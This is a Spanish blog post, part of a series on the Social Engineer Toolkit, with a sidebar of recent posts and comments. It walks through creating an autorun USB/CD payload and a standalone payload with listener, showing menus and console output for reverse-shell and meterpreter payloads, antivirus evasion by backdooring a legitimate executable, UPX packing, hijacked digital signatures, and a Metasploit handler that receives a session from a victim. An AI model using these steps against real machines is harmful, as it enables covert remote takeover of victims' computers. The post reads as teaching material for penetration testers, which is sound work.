Conceptos Básicos y Avanzados de SET (Social Engineer Toolkit) –Características avanzadas de SET – Parte V
Este modulo de ataque en SET, tal como su nombre lo indica permite crear ejecutables maliciosos en dispositivos USB o discos CD/DVD. Este modulo creará un fichero “autorun.inf” que será útil para cargar automáticamente el ejecutable malicioso que viene incluido en el dispositivo, además de esto cuenta con un pequeño asistente para establecer las propiedades necesarias para la generación del payload utilizando metasploit, donde en cada paso se incluyen el tipo de exploit que se desea incluir, el tipo de mecanismo de evasión de AV que se desea emplear entre otras cosas.
El primer paso es la selección del tipo de ejecutable (exploit) que se desea crear
| Pick the attack vector you wish to use: fileformat bugs or a straight executable.1. File-Format Exploits
2. Standard Metasploit Executable |
En el caso de seleccionar un exploit estándar de MetaSploit se solicita la selección del tipo de conexión (consola) que se desea obtener, la selección mas frecuente y con mejores resultados es sin lugar a dudas alguna de las que permite retornar una sesión meterpreter.
| set > infectious > 2What payload do you want to generate:
Name: Description: 1. Windows Shell Reverse_TCP Spawn a command shell on victim and send back to attacker 2. Windows Reverse_TCP Meterpreter Spawn a meterpreter shell on victim and send back to attacker 3. Windows Reverse_TCP VNC DLL Spawn a VNC server on victim and send back to attacker 4. Windows Bind Shell Execute payload and create an accepting port on remote system 5. Windows Bind Shell X64 Windows x64 Command Shell, Bind TCP Inline 6. Windows Shell Reverse_TCP X64 Windows X64 Command Shell, Reverse TCP Inline 7. Windows Meterpreter Reverse_TCP X64 Connect back to the attacker (Windows x64), Meterpreter 8. Windows Meterpreter Egress Buster Spawn a meterpreter shell and find a port home via multiple ports 9. Windows Meterpreter Reverse HTTPS Tunnel communication over HTTP using SSL and use Meterpreter 10. Windows Meterpreter Reverse DNS Use a hostname instead of an IP address and spawn Meterpreter 11. SE Toolkit Interactive Shell This is the new custom interactive reverse shell designed for SET 12. RATTE HTTP Tunneling Payload This is a security bypass payload that will tunnel all comms over HTTP 13. Import your own executable Specify a path for your own executable |
Ahora se selecciona el tipo encoding que se incluirá en la creación del fichero ejecutable de MetaSploit. Como puede apreciarse, algunos de los que se encuentran incluidos en el listado son bien conocidos, mientras que otros lo son menos, como es el caso de “Backdoored Executable” en próximas entradas se hablará del uso de algunos nuevos encoders incluidos en las ultimas versiones de MetaSploit Framework.
En este caso concreto se selecciona el encoder 16 del listado (Backdoored Executable) el cual es empleado para la creación del fichero ejecutable, posteriormente se intenta iniciar la consola de MetaSploit para iniciar el listener que se encargará de la recepción del stager cuando un objetivo se convierte en víctima.
| set > encoders > 16 [-] Enter the PORT of the listener (enter for default): 5555
[-] Backdooring a legit executable to bypass Anti-Virus. Wait a few seconds… [-] Backdoor completed successfully. Payload is now hidden within a legit executable. [*] UPX Encoding is set to ON, attempting to pack the executable with UPX encoding. [*] Packing the executable and obfuscating PE file randomly, one moment. [*] Digital Signature Stealing is ON, hijacking a legit digital certificate. [*] Your attack has been created in the SET home directory folder “autorun” [*] Copy the contents of the folder to a CD/DVD/USB to autorun. [*] The payload can be found in the SET home directory. [*] Do you want to start the listener now? yes or no: yes [*] Please wait while the Metasploit listener is loaded… resource (src/program_junk/meta_config)> use exploit/multi/handler resource (src/program_junk/meta_config)> set PAYLOAD windows/meterpreter/reverse_tcp PAYLOAD => windows/meterpreter/reverse_tcp resource (src/program_junk/meta_config)> set LHOST 0.0.0.0 LHOST => 0.0.0.0 resource (src/program_junk/meta_config)> set LPORT 5555 LPORT => 5555 resource (src/program_junk/meta_config)> set ExitOnSession false ExitOnSession => false resource (src/program_junk/meta_config)> exploit -j [*] Exploit running as background job. msf exploit(handler) > [*] Started reverse handler on 0.0.0.0:5555 [*] Starting the payload handler…
|
Como puede apreciarse se ha creado un directorio llamado “autorun” el cual contiene el fichero ejecutable y el fichero autorun, todo preparado para ser incluido en un dispositivo USB/CD/DVD. Además de esto también se ha iniciado el listener de metasploit esperando conexiones.
Una vez se ha entregado el fichero malicioso a la víctima por medio de un dispositivo de salida, la consola del atacante verá una salida similar a la siguiente:
| [*] Starting the payload handler…[*] Sending stage (752128 bytes) to 192.168.1.40
[*] Meterpreter session 1 opened (192.168.1.33:5555 -> 192.168.1.40:1057) at Sat Aug 13 21:04:10 +0200 2011 sessions -i 1 [*] Starting interaction with 1… meterpreter> |
Este tipo de ataque frecuentemente puede tener una alta probabilidad de éxito cuando viene en compañía con técnicas de ingeniera social y evidentemente técnicas de Footprinting y FingerPrinting conocer en profundidad a un objetivo desde distintas perspectivas es la forma mas efectiva de vulnerarlo.
Create a Payload and Listener
Desde SET es posible crear un payload ejecutable y su correspondiente listener con MetaSploit, el procedimiento que que sigue SET es solamente una “capa” que ejecuta utilidades de MetaSploit tales como “msfpayload”, “msfvenom” y “msfencode” ingresando únicamente los datos relacionados con su creación
| Select from the menu:1. Spear-Phishing Attack Vectors
2. Website Attack Vectors 3. Infectious Media Generator 4. Create a Payload and Listener 5. Mass Mailer Attack 6. Arduino-Based Attack Vector 7. SMS Spoofing Attack Vector 8. Wireless Access Point Attack Vector 9. Third Party Modules 10. Update the Metasploit Framework 11. Update the Social-Engineer Toolkit 12. Help, Credits, and About 99. Exit the Social-Engineer Toolkit
|
Se encuentra en el menú principal de SET en la opción número 4
| set > 4What payload do you want to generate:
Name: Description: 1. Windows Shell Reverse_TCP Spawn a command shell on victim and send back to attacker 2. Windows Reverse_TCP Meterpreter Spawn a meterpreter shell on victim and send back to attacker 3. Windows Reverse_TCP VNC DLL Spawn a VNC server on victim and send back to attacker 4. Windows Bind Shell Execute payload and create an accepting port on remote system 5. Windows Bind Shell X64 Windows x64 Command Shell, Bind TCP Inline 6. Windows Shell Reverse_TCP X64 Windows X64 Command Shell, Reverse TCP Inline 7. Windows Meterpreter Reverse_TCP X64 Connect back to the attacker (Windows x64), Meterpreter 8. Windows Meterpreter Egress Buster Spawn a meterpreter shell and find a port home via multiple ports 9. Windows Meterpreter Reverse HTTPS Tunnel communication over HTTP using SSL and use Meterpreter 10. Windows Meterpreter Reverse DNS Use a hostname instead of an IP address and spawn Meterpreter 11. SE Toolkit Interactive Shell This is the new custom interactive reverse shell designed for SET 12. RATTE HTTP Tunneling Payload This is a security bypass payload that will tunnel all comms over HTTP 13. Import your own executable Specify a path for your own executable |
A partir de aquí, las opciones son conocidas de otros de los mecanismos de ataque mencionados anteriormente, el asistente guiará al usuario en la creación del payload “paso a paso” permitiéndole seleccionar el payload, el encoder y finalmente el puerto donde se iniciará el listener.
| set > payloads > 2Below is a list of encodings to try and bypass AV.
Select one of the below, ‘backdoored executable’ is typically the best. 1. avoid_utf8_tolower (Normal) 2. shikata_ga_nai (Very Good) 3. alpha_mixed (Normal) 4. alpha_upper (Normal) 5. call4_dword_xor (Normal) 6. countdown (Normal) 7. fnstenv_mov (Normal) 8. jmp_call_additive (Normal) 9. nonalpha (Normal) 10. nonupper (Normal) 11. unicode_mixed (Normal) 12. unicode_upper (Normal) 13. alpha2 (Normal) 14. No Encoding (None) 15. Multi-Encoder (Excellent) 16. Backdoored Executable (BEST) set > encoders > 16 [-] Enter the PORT of the listener (enter for default): 5555 [-] Backdooring a legit executable to bypass Anti-Virus. Wait a few seconds… [-] Backdoor completed successfully. Payload is now hidden within a legit executable. [*] UPX Encoding is set to ON, attempting to pack the executable with UPX encoding. [*] Packing the executable and obfuscating PE file randomly, one moment. [*] Digital Signature Stealing is ON, hijacking a legit digital certificate. [*] Your payload is now in the root directory of SET as msf.exe. |
Como puede apreciar, se ha generado un fichero ejecutable malicioso que posteriormente puede ser entregado al objetivo con el fin de obtener una sesión meterpreter en este caso.
Número de Visitas:
Twitter Adastra
- @trufae interesante presentación. Muy buen trabajo. saludos. 1 hour ago
- @jdelgadopin me alegra que te gusten... :) tengo pensado publicar más cosillas sobre TOR y redes anónimas, en cuanto pueda... 5 days ago
- WEB HACKING – Atacando DOJO InsecureWebApp – Enumeración - Parte XXX wp.me/p1nWCG-CL 5 days ago
- RT @BorjaMerino: Stealing User Certificates with Meterpreter Mimikatz Extension darkoperator.com/blog/2013/6/12… 6 days ago
- @MrInsustancial @Genko JAJAJAJAJA... Ahí le has dado! 1 week ago
- RT @SecurityTube: [Video] Intro To Mutillidae, Burp Suite And Injection Jeremy Druin securitytube.net/video/7702 2 weeks ago
- RT @SecurityTube: Open Security Training Video series on SecurityTube: securitytube.net/tags/OpenSecur… 2 weeks ago
Entradas recientes
- WEB HACKING – Atacando DOJO InsecureWebApp – Enumeración – Parte XXX
- WEB HACKING – Atacando DOJO Hackme Casino – Sesiones inseguras en Ruby On Rails – Parte XXIX
- WEB HACKING – Atacando DOJO Hacme Casino – Controladores inseguros en Ruby OnRails – Parte XXVIII
- WEB HACKING – Atacando DOJO Hacme Casino – Otras Vulnerabilidades Parte XXVII
- WEB HACKING – Atacando DOJO Hacme Casino – Vulnerabilidad CSRF Parte XXVI
- Pasando de Netcat a Cryptcat
- WEB HACKING – Atacando DOJO Vulnerabilidades SQL Injection en Hacme Casino Parte XXV
- WEB HACKING – Atacando DOJO Enumeración Hacme Casino Parte XXIV
- WEB HACKING – Vulnerabilidades en XAMPP (Continuación) – Parte XXIII
- WEB HACKING – Vulnerabilidades en XAMPP – Parte XXII
- 2 años
- W3AFRemote r01 Liberado…
- WEB HACKING – Atacando servidores web vulnerables Tomcat – Parte XXI
- WEB HACKING – Algunos Ataques directos contra servidores web Apache – Parte XX
- WEB HACKING – Ataques directos contra servidores web – Parte XIX
Entradas
Calendario de Entradas
Sobre Adastra:
Soy un entusiasta de la tecnología y la seguridad informática, me siento atraído principalmente por la cultura y los fundamentos del Gray Hat Hacking.
Soy una persona afortunada de poder dedicar mi tiempo y energía en hacer lo que me apasiona, aprendiendo y compartiendo lo aprendido, he comenzado a editar entradas en este blog dado que he llegado a un punto en el que considero que mis conocimientos también pueden favorecer a otros que tengan las ganas de adquirirlos del mismo modo que lo hago yo. Así que con bastante frecuencia iré publicando entradas relacionadas con estudios y técnicas que he ido asimilando a lo largo de mis investigaciones, todas enfocadas con diferentes facetas de la informática con un énfasis especial en la seguridad.
Citando a Galileo:
"Nunca he encontrado una persona tan ignorante de la que no pueda aprender algo."
"No se puede enseñar nada a un hombre; sólo se le puede ayudar a encontrar la respuesta dentro de sí mismo".
Happy Hack!
Blogroll
Blogs Interesantes
Mensajes y Páginas Populares
- Hydra, Ataques de Fuerza Bruta
- Wireless Hacking – Descubriendo APs con SSID ocultos y evadiendo Mac Filters – Parte IV
- Creando un "Fake" Access Point Inalámbrico
- Payloads Basicos en MetaSploit FrameWork
- Instalación y Configuración básica de Snort IDS con BASE (Basic Analysis and Security Engine)
- Navegando de forma Anonima con TOR (The Onion Router)
- Preservando el Anonimato y Extendiendo su Uso – Conceptos Esenciales de TOR – Parte I
- Conceptos Básicos de Nikto - Técnicas de escaneo de Servidores y Aplicaciones Web
- Wireless Hacking – Conceptos Básicos sobre WPA/WPA2– Parte XIII
- WEB HACKING – Atacando DOJO InsecureWebApp – Enumeración - Parte XXX

Menudos curros que te pegas tío… sigue así!!!
Un gran blog.